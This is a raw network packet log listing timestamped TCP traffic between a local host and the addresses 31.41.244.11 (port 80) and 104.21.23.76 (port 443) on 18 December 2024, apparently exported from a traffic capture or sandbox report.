Dec 18, 2024 09:07:20.391237020 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.391243935 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.391262054 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.391277075 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.392071009 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.392115116 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.392122030 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.392138958 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.392164946 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.392175913 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.392930984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.392977953 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.393002987 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.393019915 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.393048048 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.393058062 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.393738985 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.393793106 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.393805027 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.393822908 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.393845081 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.393851995 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.394613981 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.394665956 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.394671917 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.394690037 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.394716978 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.394736052 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.395459890 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.395519972 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.395533085 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.395549059 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.395569086 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.395582914 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.396344900 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.396385908 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.396389961 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.396406889 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.396421909 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.396445036 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.397289991 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.397336006 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.397366047 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.397382975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.397401094 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.397413969 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.398178101 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.398240089 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.398256063 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.398273945 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.398300886 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.398313046 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.398994923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.399065018 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.558201075 CET	49716	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:20.558263063 CET	443	49716	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:20.558363914 CET	49716	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:20.558734894 CET	49716	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:20.558749914 CET	443	49716	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:20.562316895 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.562360048 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.562376022 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.562383890 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.562422037 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.562422037 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.562498093 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.562562943 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.562567949 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.562583923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.562614918 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.562849998 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.562889099 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.562903881 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.562920094 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.562944889 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.562959909 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.563707113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.563751936 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.563781977 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.563796997 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.563818932 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.563837051 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.564481020 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.564523935 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.564532042 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.564547062 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.564570904 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.564584970 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.565325022 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.565363884 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.565372944 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.565387964 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.565408945 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.565431118 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.566291094 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.566313982 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.566329956 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.566334963 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.566348076 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.566366911 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.567121983 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.567162037 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.567188978 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.567204952 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.567225933 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.567239046 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.567979097 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.568018913 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.568058968 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.568073988 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.568094015 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.568108082 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.568819046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.568859100 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.568895102 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.568909883 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.568933010 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.568945885 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.569689035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.569725037 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.569744110 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.569758892 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.569780111 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.569792986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.570569038 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.570611000 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.570647001 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.570663929 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.570692062 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.570743084 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.571439028 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.571481943 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.571531057 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.571546078 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.571568012 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.571583986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.572366953 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.572407007 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.572433949 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.572448969 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.572469950 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.572484016 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.573223114 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.573262930 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.573285103 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.573299885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.573329926 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.573378086 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.574070930 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.574134111 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.574146032 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.574161053 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.574186087 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.574197054 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.574896097 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.574944973 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.574963093 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.574978113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.575001955 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.575014114 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.575753927 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.575795889 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.575834036 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.575849056 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.575869083 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.575884104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.576678991 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.576715946 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.576719999 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.576731920 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.576749086 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.576765060 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.577552080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.577616930 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.577631950 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.577663898 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.578444004 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.578483105 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.578500986 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.578516006 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.578555107 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.579327106 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.579371929 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.579406023 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.579421043 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.579444885 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.579457045 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.580188036 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.580233097 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.580468893 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.580517054 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.580532074 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.580585957 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.580585957 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.581553936 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.581598997 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.581645966 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.581660986 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.581686020 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.581700087 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.582238913 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.582293034 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.582304001 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.582308054 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.582333088 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.582350969 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.583036900 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.583084106 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.583091974 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.583100080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.583118916 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.583132982 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.584028006 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.584053040 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.584067106 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.584079027 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.584089994 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.584108114 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.584752083 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.584796906 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.584881067 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.584897041 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.584918022 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.584933043 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.585800886 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.585844040 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.585872889 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.585892916 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.585912943 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.585927963 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.586486101 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.586528063 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.586565018 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.586579084 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.586601019 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.586616039 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.587346077 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.587384939 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.587446928 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.587461948 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.587482929 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.587498903 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.588226080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.588263988 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.588359118 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.588373899 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.588393927 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.588408947 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.589096069 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.589138031 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.589250088 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.589265108 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.589287996 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.589303970 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.590004921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.590032101 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.590044975 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.590045929 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.590064049 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.590079069 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.590833902 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.590878010 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.590899944 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.590915918 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.590939999 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.590950966 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.591845989 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.591895103 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.752577066 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.752597094 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.752612114 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.752693892 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.752723932 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.752762079 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.752798080 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.752841949 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.752856016 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.752875090 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.752888918 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.753606081 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.753648043 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.753691912 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.753706932 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.753729105 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.753748894 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.754471064 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.754513025 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.754548073 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.754563093 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.754585028 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.754600048 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.755345106 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.755383015 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.755419016 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.755434036 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.755459070 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.755472898 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.756311893 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.756354094 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.756381989 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.756396055 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.756417036 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.756431103 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.757136106 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.757174969 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.757201910 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.757216930 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.757237911 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.757251978 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.757991076 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.758074045 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.758088112 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.758121967 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.758121967 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.758150101 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.758861065 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.758904934 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.758919001 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.758933067 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.758955956 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.758970022 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.759712934 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.759753942 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.759782076 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.759795904 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.759818077 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.759833097 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.760586977 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.760624886 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.760683060 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.760698080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.760718107 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.760732889 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.761482000 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.761521101 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.761524916 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.761539936 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:20.761559010 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.761573076 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:20.762332916 CET	80	49714	31.41.244.11	192.168.2.8
